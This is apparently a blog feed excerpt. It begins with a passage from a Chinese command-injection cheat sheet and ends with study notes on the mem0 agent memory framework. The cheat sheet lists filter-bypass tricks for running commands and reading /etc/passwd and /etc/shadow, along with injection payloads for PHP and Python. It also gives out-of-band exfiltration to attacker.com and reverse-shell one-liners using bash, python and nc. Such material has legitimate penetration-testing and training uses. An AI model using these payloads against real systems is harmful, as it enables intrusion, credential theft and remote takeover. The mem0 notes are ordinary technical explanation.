&lt;h3&gt;4.1 字符串拼接&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 单引号插入（不影响字符串内容）
c&apos;a&apos;t /etc/passwd
c&apos;&apos;a&apos;&apos;t /etc/passwd

# 双引号插入
c&quot;a&quot;t /etc/passwd
ca&quot;t&quot; /etc/passwd

# 反斜杠转义（对shell无意义但绕过简单过滤）
ca\t /etc/passwd
/bin/ca\t /etc/passwd

# 变量拼接
a=ca;b=t;$a$b /etc/passwd
X=ca;Y=t;$X$Y /etc/passwd

# 环境变量切片拼接
echo ${PATH:0:1}    # 取 PATH 第一个字符（通常是 /）
${PATH:0:1}etc${PATH:0:1}passwd
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;4.2 编码绕过&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 十六进制编码
$(printf &apos;\x63\x61\x74&apos;) /etc/passwd     # cat
$&apos;\x63\x61\x74&apos; /etc/passwd

# 八进制编码
$(printf &apos;\143\141\164&apos;) /etc/passwd     # cat

# base64 解码执行
echo &quot;d2hvYW1p&quot; | base64 -d | bash       # whoami
`echo &quot;d2hvYW1p&quot; | base64 -d`

# rev 反转字符串
echo &quot;tac&quot; | rev                          # cat
$(rev&amp;lt;&amp;lt;&amp;lt;tac) /etc/passwd
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;4.3 通配符绕过&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# ? 匹配单个字符
/???/??t /etc/passwd          # /bin/cat
/???/b??h                     # /bin/bash
/?i?/??t /etc/passwd

# * 匹配任意字符
/bin/c*t /etc/passwd
/bin/ca* /etc/passwd

# 字符类
/bin/[c]at /etc/passwd
/[b]in/cat /etc/passwd
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;4.4 路径绕过&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 绝对路径代替命令名
/bin/cat /etc/passwd
/usr/bin/id

# 环境变量中提取路径字符
${HOME:0:1}           # / (如果HOME=/home/user)
${SHELL:0:1}          # /

# 利用现有路径字符构造新路径
echo $SHELL           # /bin/bash
echo ${SHELL%%bash}   # /bin/
# 利用切片拼接 /bin/cat
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;五、过滤关键字符的绕过&lt;/h2&gt;
&lt;h3&gt;5.1 过滤了 &lt;code&gt;/&lt;/code&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 使用变量存储 /
SLASH=/; ${SLASH}bin${SLASH}cat ${SLASH}etc${SLASH}passwd
echo ${HOME} | cut -c1   # 取 HOME 的第一个字符 /

# 利用 cd + 相对路径
cd /etc; cat passwd

# ${PATH:0:1}
${PATH:0:1}bin${PATH:0:1}cat ${PATH:0:1}etc${PATH:0:1}passwd
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;5.2 过滤了 &lt;code&gt;.&lt;/code&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 用 source 代替 .
source script.sh

# 用绝对路径避免相对路径中的 .
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;5.3 过滤了引号&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 使用 $() 代替
cat $(echo /etc/passwd)

# 变量赋值不需要引号
x=/etc/passwd; cat $x
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;5.4 过滤了括号 &lt;code&gt;()&lt;/code&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 不用括号的命令替换（反引号）
echo `id`
x=`cat /etc/passwd`

# 大括号（调用函数时也可用）
{id}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;5.5 过滤了 &lt;code&gt;cat&lt;/code&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 替代命令
tac /etc/passwd          # 反向输出
more /etc/passwd
less /etc/passwd
head /etc/passwd
tail /etc/passwd
nl /etc/passwd           # 带行号
strings /etc/passwd
od -c /etc/passwd        # 八进制dump
xxd /etc/passwd          # 十六进制dump
base64 /etc/passwd       # base64编码输出
rev /etc/passwd          # 反转每行字符

# 重定向读取
while read line; do echo $line; done &amp;lt; /etc/passwd

# python 读取
python3 -c &quot;print(open(&apos;/etc/passwd&apos;).read())&quot;
python3 -c &quot;import sys;sys.stdout.write(open(&apos;/etc/passwd&apos;).read())&quot;

# awk / sed
awk &apos;{print}&apos; /etc/passwd
sed &apos;&apos; /etc/passwd

# cp 到可访问路径
cp /etc/passwd /var/www/html/p.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;六、Windows 特殊技巧&lt;/h2&gt;
&lt;h3&gt;6.1 命令绕过&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 插入无意义字符
wh^o^am^i                 # ^ 是转义符，插入不影响执行
who&quot;am&quot;i
w&quot;h&quot;o&quot;a&quot;m&quot;i&quot;

# 变量延迟展开
set x=who
set y=ami
%x%%y%

# FOR 循环嵌套执行
for /f %i in (&apos;whoami&apos;) do @echo %i
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;6.2 PowerShell 绕过&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# IEX 执行字符串
IEX &quot;whoami&quot;
Invoke-Expression &quot;whoami&quot;

# 编码执行（-EncodedCommand）
powershell -EncodedCommand dwBoAG8AYQBtAGkA    # base64(whoami)

# 字符拼接
$c = &apos;who&apos; + &apos;ami&apos;; Invoke-Expression $c

# 通过环境变量
$env:ComSpec                                    # C:\Windows\System32\cmd.exe
&amp;amp; $env:ComSpec /c whoami
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;七、特殊场景&lt;/h2&gt;
&lt;h3&gt;7.1 PHP system/exec 中&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// 参数中注入
system(&quot;ping &quot; . $_GET[&apos;ip&apos;]);
// payload: 127.0.0.1 ; cat /etc/passwd
// payload: 127.0.0.1 &amp;amp;&amp;amp; cat /etc/passwd
// payload: 127.0.0.1 | cat /etc/passwd
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;7.2 Python subprocess 中&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 使用 shell=True 时存在注入风险
subprocess.call(&quot;ping &quot; + user_input, shell=True)
# payload: 127.0.0.1 ; id
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;7.3 盲命令注入（无回显）&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 时间盲注
ping -c 5 127.0.0.1    # 延迟5秒

# DNS带外（OOB）
curl http://$(whoami).attacker.com
ping `whoami`.attacker.com
nslookup `id`.attacker.com

# 写文件带外
whoami &amp;gt; /var/www/html/output.txt
id &amp;gt; /tmp/x; curl http://attacker.com/?x=$(cat /tmp/x)

# nc 反弹
bash -i &amp;gt;&amp;amp; /dev/tcp/attacker.com/4444 0&amp;gt;&amp;amp;1
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;八、过滤检测与绕过思路&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;检测到的过滤字符 → 对应绕过方案

空格被过滤      → ${IFS}, %09, &amp;lt;, {cmd,arg}
/ 被过滤        → ${PATH:0:1}, 变量拼接, cd 切换
引号被过滤      → 反引号, $(), 不用引号直接用变量
字母被过滤      → hex编码 \x??, base64解码, 变量拼接
cat被过滤       → tac/more/less/head/tail/od/xxd/awk
括号被过滤      → 反引号 ``
换行被过滤      → ;, &amp;amp;&amp;amp;, ||, &amp;amp;
;被过滤         → %0a换行, &amp;amp;&amp;amp;, ||
数字被过滤      → $((表达式)), ${#变量}取长度当数字
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;九、实战 Payload 模板&lt;/h2&gt;
&lt;h3&gt;基础探测&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 无回显探测（DNS）
;curl http://$(whoami).BURPCOLLAB/
;ping -c1 `id`.BURPCOLLAB

# 有回显探测
;id
;whoami
;cat /etc/passwd
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;读文件&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;;cat /etc/passwd
;cat${IFS}/etc/shadow
;base64 /etc/passwd
;xxd /etc/passwd | xxd -r
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;反弹 Shell&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# bash
bash -i &amp;gt;&amp;amp; /dev/tcp/IP/PORT 0&amp;gt;&amp;amp;1
bash -c &apos;bash -i &amp;gt;&amp;amp; /dev/tcp/IP/PORT 0&amp;gt;&amp;amp;1&apos;

# URL编码版本（GET参数中）
bash%20-i%20&amp;gt;%26%20/dev/tcp/IP/PORT%200&amp;gt;%261

# python
python3 -c &apos;import socket,subprocess,os;s=socket.socket();s.connect((&quot;IP&quot;,PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([&quot;/bin/sh&quot;])&apos;

# nc
nc -e /bin/bash IP PORT
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&amp;gt;&amp;amp;1|nc IP PORT &amp;gt;/tmp/f
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>mem0学习笔记</title><link>https://whyulooksad.github.io/posts/mem0%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</link><guid isPermaLink="true">https://whyulooksad.github.io/posts/mem0%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</guid><description>mem0可以说是做Agent长期记忆的一个很经典的框架了，所以这次特地找了个周末好好学了一下这个框架。</description><pubDate>Sun, 12 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;mem0可以说是做Agent长期记忆的一个很经典的框架了，所以这次特地找了个周末好好学了一下这个框架。&lt;/p&gt;
&lt;h1&gt;mem0 是什么？它由哪些组件组成？&lt;/h1&gt;
&lt;p&gt;如果剥去花哨的外衣，Mem0 本质上是一个面向 LLM 长期记忆的 Harness工程。&lt;/p&gt;
&lt;p&gt;它自己不生产算力和存储，而是定义了一套“记忆提取 -&amp;gt; 冲突检测 -&amp;gt; 自动更新”的标准化 Workflow，并通过工厂模式提供了极强的可插拔性。这种设计的巧妙之处在于：它把‘如何存向量’这种工程问题交给了专业的数据库，把‘如何理解对话’交给了专业的大模型，而 Mem0 自己只专注于扮演一个**‘总调度师’&lt;strong&gt;和&lt;/strong&gt;‘数据清洗工’**的角色。正是这种 Harness 架构，使得 Mem0 既轻量，又具备了极高的上限。&quot;&lt;/p&gt;
&lt;p&gt;要理解它的全貌，我们必须先看看它是由哪些部件拼装起来的，以及它吐出来的数据到底长什么样。&lt;/p&gt;
&lt;h2&gt;1. 六大核心组件：&lt;code&gt;MemoryConfig&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;在 &lt;code&gt;configs/base.py&lt;/code&gt; 中，定义了整个框架最重要的配置类 &lt;code&gt;MemoryConfig&lt;/code&gt;。当调用 &lt;code&gt;Memory.from_config()&lt;/code&gt; 启动 &lt;code&gt;Mem0&lt;/code&gt; 时，其实是在往里面装配这 6 个核心组件：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;class MemoryConfig(BaseModel):
    vector_store: VectorStoreConfig = ...    # 1. 向量库：负责存向量并做相似度检索
    llm: LlmConfig = ...                     # 2. 大模型：负责“思考”（提取事实、判断记忆冲突）
    embedder: EmbedderConfig = ...           # 3. 嵌入模型：负责把文字翻译成向量
    history_db_path: str = ...               # 4. 历史账本：本地 SQLite，记录记忆变更流水
    graph_store: GraphStoreConfig = ...      # 5. (可选) 图数据库：存实体关系（如 张三 -[喜欢]-&amp;gt; 咖啡）
    reranker: Optional[RerankerConfig] = ... # 6. (可选) 重排器：搜索完后，用大模型给结果重新打分排序
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Mem0 自己并不生产 LLM，也不造向量数据库。它只是定义了这 6 个坑位。无论我们是想用 OpenAI 还是本地部署的 Qwen，想用轻量级的 Chroma 还是云端的 Qdrant，只需要在 Config 里换个名字，Mem0 就能立刻跑起来。它是一个极其标准的**“插拔式架构”**。&lt;/p&gt;
&lt;p&gt;例如：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;config = MemoryConfig(
        llm={
            &quot;provider&quot;: &quot;openai&quot;,
            &quot;config&quot;: {
                &quot;model&quot;: llm_model,
                &quot;api_key&quot;: openai_api_key,
                &quot;openai_base_url&quot;: openai_base_url,
            },
        },
        embedder={
            &quot;provider&quot;: &quot;huggingface&quot;,
            &quot;config&quot;: {
                &quot;model&quot;: str(model_path),
                &quot;embedding_dims&quot;: embedding_dims,
            },
        },
        vector_store={
            &quot;provider&quot;: &quot;qdrant&quot;,
            &quot;config&quot;: {
                &quot;collection_name&quot;: &quot;mem0&quot;,
                &quot;path&quot;: &quot;.mem0/qdrant&quot;,
                &quot;embedding_model_dims&quot;: embedding_dims,
            },
        },
    )
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;2. 统一的数据标准 &lt;code&gt;MemoryItem&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;因为 Mem0 支持了几十种不同的第三方数据库（Milvus、Pinecone、PGVector等），每个数据库查出来的数据结构都千奇百怪。有的把元数据叫 &lt;code&gt;payload&lt;/code&gt;，有的叫 &lt;code&gt;metadata&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;为了不让上层业务代码崩溃，Mem0 在 &lt;code&gt;base.py&lt;/code&gt; 里定义了一个&lt;strong&gt;强类型的数据契约&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;class MemoryItem(BaseModel):
    id: str
    memory: str
    hash: Optional[str]
    metadata: Optional[Dict[str, Any]]
    score: Optional[float]
    created_at: Optional[str]
    updated_at: Optional[str]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在后续的源码中我们可以看到，无论底层数据库返回的是什么奇葩格式，Mem0 都会在最后一步进行清洗验证，最终封装成 &lt;code&gt;MemoryItem&lt;/code&gt; 返回。这保证了我们作为开发者，在调用 &lt;code&gt;mem.search()&lt;/code&gt; 或 &lt;code&gt;mem.get_all()&lt;/code&gt; 时，拿到的数据格式永远是一致的：一定有 &lt;code&gt;id&lt;/code&gt;，一定有提取出的文本 &lt;code&gt;memory&lt;/code&gt;，以及规范的时间戳。&lt;/p&gt;
&lt;h2&gt;3. 可自定义的 LLM prompt&lt;/h2&gt;
&lt;p&gt;除了这 6 个组件，&lt;code&gt;MemoryConfig&lt;/code&gt; 的末尾还有两个 &lt;code&gt;LLM prompt&lt;/code&gt; 配置项：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    custom_fact_extraction_prompt: Optional[str]
    custom_update_memory_prompt: Optional[str]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Mem0 的核心机制是**“让 LLM 去阅读对话，并自己决定该提取什么记忆、该更新还是删除旧记忆”**。默认情况下，Mem0 有自己内置的 Prompt。但如果我们的业务场景很特殊——比如想让它专门提取病人的“过敏史”或“用药记录”——完全可以通过这两个字段，覆盖Mem0 的默认系统 Prompt。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;小结：&lt;/strong&gt;
&lt;code&gt;mem0&lt;/code&gt; 通过 &lt;code&gt;MemoryConfig&lt;/code&gt; 拼装了算力（LLM/Embedder）和存储（VectorDB/SQLite），又通过 &lt;code&gt;MemoryItem&lt;/code&gt; 抹平了所有底层差异。&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;mem0这个框架级百搭的适配器是怎么做的？&lt;/h1&gt;
&lt;p&gt;前面我们说，只需在 &lt;code&gt;MemoryConfig&lt;/code&gt; 中传入 &lt;code&gt;{&quot;provider&quot;: &quot;qdrant&quot;}&lt;/code&gt; 或 &lt;code&gt;{&quot;provider&quot;: &quot;openai&quot;}&lt;/code&gt;，Mem0 就能乖乖地把这些底层组件挂载上来。但问题来了：Mem0 官方宣称支持几十种大模型（OpenAI、Anthropic、Ollama...）和二十多种向量数据库（Qdrant、Milvus、Pinecone...）。它是怎么把这些底层 SDK 完全不同、API 千奇百怪的第三方服务，塞进那个统一的 Harness 壳子里的？&lt;/p&gt;
&lt;p&gt;答案在 &lt;code&gt;/utils/factory.py&lt;/code&gt;这个文件中。这个文件比较简单直白，但它正是 Mem0 能够做到框架级百搭的秘诀所在。&lt;/p&gt;
&lt;h2&gt;1. 工厂模式&lt;/h2&gt;
&lt;p&gt;打开 &lt;code&gt;utils/factory.py&lt;/code&gt;，我们可以看到五个主要的工厂类：&lt;code&gt;LlmFactory&lt;/code&gt;、&lt;code&gt;EmbedderFactory&lt;/code&gt;、&lt;code&gt;VectorStoreFactory&lt;/code&gt;、&lt;code&gt;GraphStoreFactory&lt;/code&gt; 和 &lt;code&gt;RerankerFactory&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;以 &lt;code&gt;VectorStoreFactory&lt;/code&gt; 为例，它内部维护了一个巨大的字典映射：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;class VectorStoreFactory:
    provider_to_class = {
        &quot;qdrant&quot;: &quot;mem0.vector_stores.qdrant.Qdrant&quot;,
        &quot;chroma&quot;: &quot;mem0.vector_stores.chroma.ChromaDB&quot;,
        &quot;pgvector&quot;: &quot;mem0.vector_stores.pgvector.PGVector&quot;,
        &quot;milvus&quot;: &quot;mem0.vector_stores.milvus.MilvusDB&quot;,
        # ... 省略另外 20 多种数据库 ...
    }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;当我们在 &lt;code&gt;MemoryConfig&lt;/code&gt; 里写下 &lt;code&gt;provider=&quot;qdrant&quot;&lt;/code&gt; 时，工厂就会去查这个字典，找到对应的类路径。这就是标准的工厂模式：&lt;strong&gt;将对象的创建与使用解耦&lt;/strong&gt;。主干业务代码永远不需要知道自己连的是什么数据库，它只管找工厂要人就行了。&lt;/p&gt;
&lt;h2&gt;2. 统一接口&lt;/h2&gt;
&lt;p&gt;虽然工厂根据字符串动态加载出了底层的类（比如 &lt;code&gt;mem0.vector_stores.qdrant.Qdrant&lt;/code&gt; 和 &lt;code&gt;mem0.vector_stores.chroma.ChromaDB&lt;/code&gt;），但这两个类的内部实现天差地别，主干代码该怎么调用它们？&lt;/p&gt;
&lt;p&gt;答案是：&lt;strong&gt;强迫它们继承同一个 Base 类&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;不管工厂吐出来的是什么怪物，在 Mem0 看来，它们都必须是 &lt;code&gt;VectorStoreBase&lt;/code&gt;（位于 &lt;code&gt;vector_stores/base.py&lt;/code&gt;）的子类。它们都&lt;strong&gt;必须&lt;/strong&gt;实现以下四个核心方法：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;insert()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;search()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;delete()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;update()&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这就保证了，无论底层是谁在干活，到了后面（第四章）的“总调度室”里，调度员永远只需要闭着眼睛调用 &lt;code&gt;self.vector_store.search()&lt;/code&gt; 就行了。&lt;/p&gt;
&lt;h2&gt;3. 防呆设计&lt;/h2&gt;
&lt;p&gt;在 &lt;code&gt;LlmFactory.create&lt;/code&gt; 方法中，工厂还构建了防呆机制。它会判断你传入的配置类型：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;elif isinstance(config, BaseLlmConfig):
    if config_class != BaseLlmConfig:
        # Convert to provider-specific config
        config_dict = {
            &quot;model&quot;: config.model,
            &quot;api_key&quot;: config.api_key,
            # ...
        }
        config = config_class(**config_dict)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;有些用户可能传了一个通用的 &lt;code&gt;BaseLlmConfig&lt;/code&gt;，但具体的 Provider（比如 Azure OpenAI）可能需要更严格的特有参数。工厂在这里自动充当了**“适配器”**，帮我们把通用配置安全地转化为对应厂商的强类型配置。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;小结：&lt;/strong&gt;
Mem0 通过&lt;strong&gt;简单工厂  + 统一接口&lt;/strong&gt;，完美地把复杂的底层依赖隔绝在了业务主流程之外。这也是为什么 Mem0 能在极短的时间内接入社区几十种大模型和数据库，却依然能保持主线代码清晰优雅的原因。&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;mem0的数据清洗层是怎么做的？&lt;/h1&gt;
&lt;p&gt;搞过 Agent 的都知道，LLM是一个极度不可控的变量，即使我们搭好了统一的&lt;code&gt;MemoryItem&lt;/code&gt;，也建好了能无缝切换底层引擎的&lt;code&gt;factory&lt;/code&gt;,我们还是不能开始灌装数据。在真实的业务代码里，直接把 LLM 的输出扔给后端的数据库解析，程序有 80% 的概率会当场崩溃。我们让它提取事实并返回纯 JSON，它偏要在前面加一句废话“&lt;em&gt;Here is your JSON:&lt;/em&gt;”；你让它返回一个数组，它偏给你包一层 Markdown 的代码块 &lt;code&gt;json [ ... ] &lt;/code&gt;。所以 mem0 专门写了一个文件&lt;code&gt;/memory/utils.py&lt;/code&gt;去做这种与大模型打交道的脏活。这个文件展示了真实的 AI 工程落地需要做哪些防御性编程。&lt;/p&gt;
&lt;h2&gt;1. 兜底 JSON 指令&lt;/h2&gt;
&lt;p&gt;当我们在调用大模型 API 时，如果开启了强制输出 JSON 的模式（例如 OpenAI 的 &lt;code&gt;response_format={&quot;type&quot;: &quot;json_object&quot;}&lt;/code&gt;），官方 API 有一个硬性规定：&lt;strong&gt;Prompt 里必须显式包含 &quot;json&quot; 这个词&lt;/strong&gt;，否则会直接报错 400。&lt;/p&gt;
&lt;p&gt;Mem0 是怎么防范用户忘记写这个词的呢？看这个 &lt;code&gt;ensure_json_instruction&lt;/code&gt; 函数：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def ensure_json_instruction(prompt: str) -&amp;gt; str:
    if &quot;json&quot; not in prompt.lower():
        return prompt + &quot;\nYou must return your response in valid JSON format with a &apos;facts&apos; key containing an array of strings.&quot;
    return prompt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这是一个极其优雅的防呆设计。如果在 &lt;code&gt;MemoryConfig&lt;/code&gt; 里自定义了 Prompt，但粗心大意漏了 &quot;json&quot; 关键字，框架会自动在最后给你补上这句咒语，确保 API 调用绝对不会失败。&lt;/p&gt;
&lt;h2&gt;2. 扒掉 Markdown 外衣&lt;/h2&gt;
&lt;p&gt;即便我们在 prompt 里写的很清楚了，很多大模型（尤其是开源小模型）在输出 JSON 时，还是会习惯性地在外面包一层 Markdown 代码块。如果直接拿去 &lt;code&gt;json.loads()&lt;/code&gt;，程序直接崩。&lt;/p&gt;
&lt;p&gt;Mem0 准备了多层正则（Regex）防御机制：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;第一层：&lt;code&gt;remove_code_blocks&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def remove_code_blocks(text: str) -&amp;gt; str:
    # 去除开头的 ```json 和结尾的 ```
    text = re.sub(r&quot;^```(?:json)?\n&quot;, &quot;&quot;, text, flags=re.IGNORECASE | re.MULTILINE)
    text = re.sub(r&quot;```$&quot;, &quot;&quot;, text, flags=re.IGNORECASE | re.MULTILINE)
    # 甚至去除了类似 DeepSeek-R1 这种模型产生的 &amp;lt;think&amp;gt;...&amp;lt;/think&amp;gt; 思考过程！
    text = re.sub(r&quot;&amp;lt;think&amp;gt;.*?&amp;lt;/think&amp;gt;&quot;, &quot;&quot;, text, flags=re.DOTALL)
    return text.strip()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;第二层兜底：&lt;code&gt;extract_json&lt;/code&gt;&lt;/strong&gt;
如果上面的正则没弄干净，或者大模型说了一堆废话“&lt;em&gt;好的，这是你需要的 JSON：{...} 希望对你有帮助！&lt;/em&gt;”，Mem0 会使用最后的暴力手段：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def extract_json(text: str) -&amp;gt; str:
    # 暴力寻找第一个 { 或 [，和最后一个 } 或 ]，强行把中间的内容抠出来
    match = re.search(r&quot;(\{.*\}|\[.*\])&quot;, text, re.DOTALL)
    if match:
        return match.group(1)
    return text
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这两步操作，堪称 LLM 落地应用的最佳实践，完美解决了 JSON 解析失败的痛点。&lt;/p&gt;
&lt;h2&gt;3. 奇葩数据矫正&lt;/h2&gt;
&lt;p&gt;有时候，模型虽然输出了合法的 JSON，但结构却完全不是我们想要的。&lt;/p&gt;
&lt;p&gt;比如在提取记忆时，Mem0 期望模型返回一个纯字符串数组：&lt;code&gt;[&quot;喜欢无糖咖啡&quot;, &quot;不喜欢加奶&quot;]&lt;/code&gt;。
但有些模型偏偏喜欢“自作聪明”，返回对象数组：&lt;code&gt;[{&quot;fact&quot;: &quot;喜欢无糖咖啡&quot;}, {&quot;fact&quot;: &quot;不喜欢加奶&quot;}]&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;Mem0 的 &lt;code&gt;normalize_facts&lt;/code&gt; 函数专门负责给这种畸形数据进行矫正：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def normalize_facts(facts):
    normalized = []
    for fact in facts:
        if isinstance(fact, str):
            normalized.append(fact)
        elif isinstance(fact, dict) and &quot;fact&quot; in fact:
            normalized.append(fact[&quot;fact&quot;])
        # ... 强行洗成纯字符串列表
    return normalized
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;4. 图谱安全防御&lt;/h2&gt;
&lt;p&gt;如果我们在配置里开启了 &lt;code&gt;GraphStore&lt;/code&gt;（图数据库），提取出的关系数据最终是要拼装成 Cypher 语句写进 Neo4j 的。
这时候，如果文本里夹杂了英文单引号 &lt;code&gt;&apos;&lt;/code&gt;、括号 &lt;code&gt;()&lt;/code&gt; 等特殊符号，极易引发 Cypher 语法错误，甚至造成注入攻击。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;sanitize_relationship_for_cypher&lt;/code&gt; 函数列了一个长长的黑名单：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;char_map = {
    &quot;,&quot;: &quot;_comma_&quot;,
    &quot;.&quot;: &quot;_period_&quot;,
    &quot;&apos;&quot;: &quot;_squote_&quot;,
    &apos;&quot;&apos;: &quot;_dquote_&quot;,
    # ... 把所有危险的标点全部替换成下划线包围的安全字符
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这种近乎偏执的数据清洗，保证了写入图谱时的高可用性。&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;&lt;strong&gt;小结：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;大模型应用落地，80% 的代码量其实都在做各种 Edge Case 的兼容和数据清洗的脏活&lt;/strong&gt;。Mem0 之所以能被称作一个成熟的框架，很大程度上是因为它替开发者把这些脏活累活全包了。&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;mem0是怎么做长期记忆的？&lt;/h1&gt;
&lt;p&gt;经过前面的铺垫，我们有了标准的配置引擎、百搭的底层工厂，以及专门防范大模型发疯的清洗专员。现在，所有的准备工作都已经就绪。我们终于可以谈谈 Mem0 真正的大脑——&lt;code&gt;memory/main.py&lt;/code&gt;了。也是整个框架作为“Agent”而非“死板数据库”的灵魂所在。&lt;/p&gt;
&lt;p&gt;在这个文件里，对外暴露的 API 主要分为两类：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;纯 CRUD 接口&lt;/strong&gt;：&lt;code&gt;update()&lt;/code&gt;, &lt;code&gt;delete()&lt;/code&gt;, &lt;code&gt;get()&lt;/code&gt;, &lt;code&gt;get_all()&lt;/code&gt;。它们直接操作底层数据库，不涉及大模型的思考。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;智能代理接口&lt;/strong&gt;：&lt;code&gt;add()&lt;/code&gt; 和 &lt;code&gt;search()&lt;/code&gt;。这也是我们要重点拆解的“记忆生命周期”。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;1. &lt;code&gt;add()&lt;/code&gt;：记忆是怎么被“思考”出来的？&lt;/h2&gt;
&lt;p&gt;普通的向量数据库（比如 Chroma 或 Qdrant）是怎么存聊天的？我们传给它一段话，它算成向量，塞进去。如果你连说 10 遍“我喜欢无糖咖啡”，它就会存 10 条一模一样的记录。如果第二天你说“我不喜欢无糖了，我要全糖”，它依然会存进去，导致你的系统里同时存在两条自相矛盾的“事实”。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;这就是 Mem0 的护城河：它不会“死记硬背”，而是通过设计一个Workflow来实现记忆的自更新。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;当你调用 &lt;code&gt;mem.add(&quot;我喜欢喝无糖咖啡&quot;)&lt;/code&gt; 时，&lt;code&gt;main.py&lt;/code&gt; 内部经历了这四步：&lt;/p&gt;
&lt;h4&gt;第一步：提取新事实 (Fact Extraction)&lt;/h4&gt;
&lt;p&gt;如果是 &lt;code&gt;infer=True&lt;/code&gt;（默认开启智能推断），Mem0 绝不会把这句话原封不动地存起来。
它会调用 LLM，利用系统内置的 Prompt，把冗长的口水话提炼成一条条独立且客观的事实。比如把“&lt;em&gt;我最近感觉有点胖了，以后还是喝无糖咖啡吧&lt;/em&gt;” 提炼成干净的：&lt;code&gt;[&quot;用户决定改喝无糖咖啡&quot;]&lt;/code&gt;。&lt;/p&gt;
&lt;h4&gt;第二步：检索旧记忆 (Semantic Search)&lt;/h4&gt;
